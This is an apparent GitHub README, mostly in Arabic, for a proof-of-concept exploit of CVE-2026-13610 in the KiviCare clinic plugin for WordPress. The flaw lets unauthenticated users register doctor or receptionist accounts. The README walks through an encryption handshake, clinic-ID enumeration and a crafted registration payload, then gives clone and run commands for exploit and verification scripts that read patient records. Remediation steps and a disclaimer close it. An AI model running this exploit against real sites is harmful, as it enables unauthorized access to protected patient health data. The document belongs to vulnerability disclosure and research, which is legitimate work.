CVE-2026-13610

KiviCare – Clinic & Patient Management System <= 4.5.1 — إنشاء حساب طبيب/موظف استقبال غير مصادق عليه عبر إدارة امتيازات غير صحيحة

CWE-269 (إدارة الامتيازات غير الصحيحة) | تسجيل غير مصادق عليه بدور موظف يختاره المهاجم → كشف معلومات المريض الصحية المحمية (PHI)

نظرة عامة

ثغرة حرجة في إضافة WordPress KiviCare – Clinic & Patient Management System (الإصدارات حتى 4.5.1 ضمناً) تسمح للمهاجمين غير المصادق عليهم بتسجيل حساب طبيب (kiviCare_doctor) أو موظف استقبال (kiviCare_receptionist) بكلمة مرور يختارونها بأنفسهم، مرتبطاً بعيادة من اختيار المهاجم.

توجد الثغرة لأن نقطة نهاية التسجيل العامة تأخذ معامل user_role مباشرة من جسم الطلب، وتتضمن القائمة البيضاء للتحقق أدوار موظفي العيادة:

تفاصيل الثغرة

تحليل السبب الجذري

نقطة نهاية التسجيل POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242) محمية فقط بواسطة checkRegistrationPermission() (:602–650)، والتي:

1. ترجع true فوراً إذا كان users_can_register مفعّلاً (بدون فحص مصادقة).
2. بخلاف ذلك، تفحص إعدادات الأدوار الخاصة بالإضافة — والتي تُضبط افتراضياً على السماح لأن KCOption::get() تُرجع null في التثبيتات الافتراضية.
3. تصل في النهاية إلى return true في نهاية الدالة.

ثم يقرأ معالج register() (:1277–1387) قيمة user_role من جسم الطلب، ويعيّنها إلى نموذجي KCDoctor / KCReceptionist، ويستدعي $model->save() — الذي يشغّل wp_insert_user() وsetRole('kiviCare_doctor') (app/models/KCDoctor.php:136) دون أي فحص تفويض على الإطلاق. الحساب الناتج يكون نشطاً ومرتبطاً بالعيادة التي اختارها المهاجم.

تشفير جسم الطلب من طرف إلى طرف (E2EE) في الإضافة ليس عائقاً: نقاط نهاية المصافحة (server-key, config/register-key) غير مصادق عليها (app/controllers/api/ConfigController.php:190–205)، لذا يمكن لأي عميل التفاوض على مفتاح ضيف وإرسال حمولة مشفرة.

الشرح الكامل: analysis/TECHNICAL_ANALYSIS.md

سيناريو الهجوم

1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

التثبيت

git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

الاستخدام

فحص ما قبل التشغيل (إعدادات الهدف + مصافحة E2EE)

python preflight.py http://target.com

إنشاء حساب طبيب (بدون مصادقة)

python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

يكتشف البرنامج تلقائياً وضع النقل (JSON عادي مقابل مشفر بـ E2EE) ويسرد معرفات العيادات عندما لا يتم توفير --clinic.

إثبات الوصول إلى البيانات السريرية باستخدام الحساب الذي تم إنشاؤه

python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

يسجّل الدخول عبر REST، ويعيد ربط مفتاح استجابة E2EE للحساب، ثم يستدعي نقاط النهاية الخاصة بالموظفين فقط (/patients, /appointments).

الخيارات (exploit.py)

--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

الأثر

الاستغلال الناجح ينتج عنه حساب موظف نشط مرتبط بعيادة حقيقية، دون الحاجة إلى مصادقة:

• قراءة/تصدير معلومات المريض الصحية المحمية (PHI): السجلات الطبية، الزيارات، الوصفات الطبية، الفوترة
• إنشاء/تعديل/حذف المواعيد والجلسات والتقارير والوصفات الطبية
• حساب WordPress صالح مع وصول إلى لوحة تحكم wp-admin (read + upload_files) — نقطة انطلاق لمزيد من الهجمات

نقطة النهاية لا تسمح بإنشاء حساب administrator في WordPress (القائمة البيضاء لـ user_role ترفضه)، لكن دور الطبيب كافٍ للوصول الكامل إلى البيانات السريرية.

المعالجة

1. فرض دور المريض على المسجّلين غير المصادق عليهم وتطبيق معامل patient_role_only المُعلن
2. نقل إنشاء حسابات الموظفين إلى نقطة نهاية للمسؤولين فقط خلف current_user_can('create_users') + التحقق من nonce
3. الرفض افتراضياً في checkRegistrationPermission — إزالة return true في نهاية الدالة
4. الاشتراط على recaptchaToken عند تفعيل reCAPTCHA (حالياً اختياري)
5. تحديث KiviCare فور إصدار نسخة مصححة

المراجع

• إدخال NVD
• صفحة إضافة WordPress
• التحليل الفني الكامل
• Patchstack.

إخلاء مسؤولية

لأغراض التعليم والاختبار المصرح به فقط.

هذه الأداة مخصصة لباحثي الأمن ومختبري الاختراق الذين لديهم تفويض كتابي صريح لاختبار الأنظمة المستهدفة. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة. تم إجراء جميع عمليات التحقق على البنية التحتية المخبرية الخاصة بالمؤلف.

المؤلف

ghostpels — أبحاث أمنية وتطوير استغلال الثغرات

الترخيص

هذا المشروع مرخّص بموجب رخصة ghostpels لأبحاث الأمن.